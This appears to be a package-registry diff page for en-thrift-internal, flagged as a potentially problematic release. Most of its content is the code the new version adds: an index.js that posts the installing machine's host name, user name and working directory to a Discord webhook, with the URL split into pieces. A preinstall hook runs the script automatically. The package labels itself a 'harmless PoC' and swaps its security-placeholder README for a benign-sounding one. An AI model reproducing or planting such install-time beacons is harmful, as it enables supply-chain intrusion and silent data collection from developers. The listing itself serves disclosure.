en-thrift-internal 0.0.1-security → 2.99.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of en-thrift-internal might be problematic. Click here for more details.
- package/README.md +2 -4
- package/index.js +28 -0
- package/package.json +8 -3
package/README.md
CHANGED
|
@@ -1,5 +1,3 @@
|
|
|
1
|
-
#
|
|
1
|
+
# Placeholder Package
|
|
2
2
|
|
|
3
|
-
This
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=en-thrift-internal for more information.
|
|
3
|
+
This is a harmless placeholder.
|
package/index.js
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
|
|
3
|
+
const webhook = "https://disco"
|
|
4
|
+
+"rd.com/api/webh"+
|
|
5
|
+
"ooks/1426241736765866148/9hN8zn4YjO2KnTSjuMEgKnmsZ-1FU1QU5bkGEWl7phiqsoogAyKZLE2Y9yr67gXGD8gN";
|
|
6
|
+
|
|
7
|
+
const data = JSON.stringify({
|
|
8
|
+
content: `Package installed on \`${require("os").hostname()}\` by \`${require("os").userInfo().username}\` in \`${process.cwd()}\``, //harmless PoC, this information is NOT sensitive.
|
|
9
|
+
});
|
|
10
|
+
|
|
11
|
+
const url = new URL(webhook);
|
|
12
|
+
const req = https.request(
|
|
13
|
+
{
|
|
14
|
+
hostname: url.hostname,
|
|
15
|
+
path: url.pathname,
|
|
16
|
+
method: "POST",
|
|
17
|
+
headers: {
|
|
18
|
+
"Content-Type": "application/json",
|
|
19
|
+
"Content-Length": data.length,
|
|
20
|
+
},
|
|
21
|
+
},
|
|
22
|
+
(res) => {
|
|
23
|
+
res.on("data", () => {});
|
|
24
|
+
}
|
|
25
|
+
);
|
|
26
|
+
|
|
27
|
+
req.write(data);
|
|
28
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "en-thrift-internal",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "2.99.1",
|
|
4
|
+
"description": "Harmless PoC.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "trein",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|